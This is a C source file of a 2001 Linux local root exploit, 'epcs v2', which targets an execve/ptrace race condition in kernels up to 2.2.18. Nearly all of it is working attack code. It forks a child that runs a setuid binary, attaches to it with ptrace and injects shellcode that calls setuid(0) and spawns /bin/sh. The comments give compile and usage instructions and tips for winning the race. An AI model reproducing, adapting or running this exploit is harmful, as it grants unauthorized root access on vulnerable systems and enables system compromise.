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epcs.c
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C/C++ Source or Header
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2005-02-12
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4KB
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175 lines
/*
* epcs v2
* ~~~~~~~
* exploit for execve/ptrace race condition in Linux kernel up to 2.2.18
*
* (c) 2001 Wojciech Purczynski / cliph / <wp@elzabsoft.pl>
*
* This sploit does _not_ use brute force. It does not need that.
* It does only one attemt to sploit the race condition in execve.
* Parent process waits for a context-switch that occur after
* child task sleep in execve.
*
* It should work even on openwall-patched kernels (I haven't tested it).
*
* Compile it:
* cc epcs.c -o epcs
* Usage:
* ./epcs [victim] [address]
*
* It gives instant root shell with any of a suid binaries.
*
* If it does not work, try use some methods to ensure that execve
* would sleep while loading binary file into memory,
*
* i.e.: cat /usr/lib/* >/dev/null 2>&1
*
* Tested on RH 7.0 and RH 6.2 / 2.2.14 / 2.2.18 / 2.2.18ow4
* This exploit does not work on 2.4.x because kernel won't set suid
* privileges if user ptraces a binary.
* But it is still exploitable on these kernels.
*
* Thanks to Bulba (he made me to take a look at this bug ;) )
* Greetings to SigSegv team.
*
*/
#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <signal.h>
#include <linux/user.h>
#include <sys/wait.h>
#include <limits.h>
#include <errno.h>
#include <stdlib.h>
#define CS_SIGNAL SIGUSR1
#define VICTIM "/usr/bin/passwd"
#define SHELL "/bin/sh"
#define SHELL_LEN "\x07" /* strlen(SHELL) in hex */
#define SHELLCODE 0x00000000 /* address to put shellcode at */
/*
* This is my private shellcode.
* Offset 0x0a - executable's filename length.
*/
char shellcode[1024]=
"\xeb\xfe"
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
"\x31\xc0\xb0\x2e\xcd\x80"
"\x31\xc0\x50\xeb\x17\x8b\x1c\x24" /* execve(SHELL) */
"\x88\x43" SHELL_LEN "\x89\xe1\x8d\x54\x24"
"\x04\xb0\x0b\xcd\x80\x31\xc0\x89"
"\xc3\x40\xcd\x80\xe8\xe4\xff\xff"
"\xff" SHELL ;
volatile int cs_detector=0;
void cs_sig_handler(int sig)
{
cs_detector=1;
}
void do_victim(char * filename)
{
while (!cs_detector) ;
kill(getppid(), CS_SIGNAL);
execl(filename, filename, NULL);
perror("execl");
exit(-1);
}
int check_execve(pid_t victim, char * filename)
{
char path[PATH_MAX+1];
char link[PATH_MAX+1];
int res;
snprintf(path, sizeof(path), "/proc/%i/exe", (int)victim);
if (readlink(path, link, sizeof(link)-1)<0) {
perror("readlink");
return -1;
}
link[sizeof(link)-1]='\0';
res=!strcmp(link, filename);
if (res) fprintf(stderr, "Child slept outside of execve\n");
return res;
}
int main(int argc, char * argv[])
{
char * filename=VICTIM;
pid_t victim;
int error, i;
unsigned long eip=SHELLCODE;
struct user_regs_struct regs;
if (argc>1) filename=argv[1];
if (argc>2) eip=strtoul(argv[2], NULL, 16);
signal(CS_SIGNAL, cs_sig_handler);
victim=fork();
if (victim<0) {
perror("fork: victim");
exit(-1);
}
if (victim==0) do_victim(filename);
kill(victim, CS_SIGNAL);
while (!cs_detector) ;
if (ptrace(PTRACE_ATTACH, victim)) {
perror("ptrace: PTRACE_ATTACH");
goto exit;
}
if (check_execve(victim, filename))
goto exit;
(void)waitpid(victim, NULL, WUNTRACED);
if (ptrace(PTRACE_CONT, victim, 0, 0)) {
perror("ptrace: PTRACE_CONT");
goto exit;
}
(void)waitpid(victim, NULL, WUNTRACED);
if (ptrace(PTRACE_GETREGS, victim, 0, ®s)) {
perror("ptrace: PTRACE_GETREGS");
goto exit;
}
regs.eip=eip;
for (i=0; i<strlen(shellcode); i+=4) {
if (ptrace(PTRACE_POKEDATA, victim, regs.eip+i,
*(int*)(shellcode+i))) {
perror("ptrace: PTRACE_POKETEXT");
goto exit;
}
}
if (ptrace(PTRACE_GETREGS, victim, 0, ®s)) {
perror("ptrace: PTRACE_GETREGS");
goto exit;
}
fprintf(stderr, "Bug exploited successfully.\n");
if (ptrace(PTRACE_DETACH, victim, 0, 0)) {
perror("ptrace: PTRACE_CONT");
goto exit;
}
(void)waitpid(victim, NULL, 0);
return 0;
exit:
fprintf(stderr, "Error!\n");
kill(victim, SIGKILL);
return -1;
}